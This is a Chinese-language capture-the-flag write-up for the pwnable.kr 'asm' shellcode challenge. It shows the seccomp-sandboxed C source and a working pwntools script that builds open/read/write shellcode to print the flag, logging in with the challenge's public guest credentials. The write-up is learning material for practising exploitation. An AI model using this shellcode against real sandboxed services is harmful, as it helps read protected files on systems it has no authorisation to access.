0x10 题目描述
Mommy! I think I know how to make shellcodes
ssh asm@pwnable.kr -p2222 (pw: guest)
源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
0x20 分析
源码很简单,意思是让我们输入一个 shellcode,能够打开 flag 文件。shellcode 是 16 进制机器码,通常用于获取 shell 漏洞利用代码。
pwntools 提供了 shellcraft
模块,用于生成 shellcode。子模块用于声明架构,比如 shellcraft.arm
表示生成 arm 架构的 shellcode。或者在整个漏洞利用的代码前面,添加 context(arch="arm")
,可以免于声明子模块。
题目的源码本身就有一段十六进制的代码,先来看看这段机器码的含义
在线反汇编
http://shell-storm.org/online/Online-Assembler-and-Disassembler/
pwntools 反汇编
可以看出,sh 变量最开始的部分的汇编代码,就是将各个寄存器清0,方便我们后面使用添加 shellcode 引用相应的寄存器。sh 是运行在沙箱中,沙箱已经规定了我们只能使用 read、write、open 这类函数,这也提醒我们,使用 open 函数打开 flag 文件,read 读取文件内容,write 写到标准输出 stdout,这样就可以从屏幕打印出来 flag
from pwn import *
# pwntools 提供了 ssh 用于远程连接
con = ssh(host="pwnable.kr", user="asm", password="guest", port=2222)
# 加载程序(connect_remote 相当于 nc)
io = con.connect_remote("localhost", 9026)
context(log_level="info", os="linux", arch="amd64")
shellcode = shellcraft.open("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.read("rax", "rsp", 100)
shellcode += shellcraft.write(1, "rsp", 100)
io.recvuntil("challenge :)\n")
io.sendline(asm(shellcode))
print(io.recvline())
结果
0x30 总结
本题的目标就是让我们学会使用 pwntools 的 shellcraft 模块,生成相应架构的 shellcode。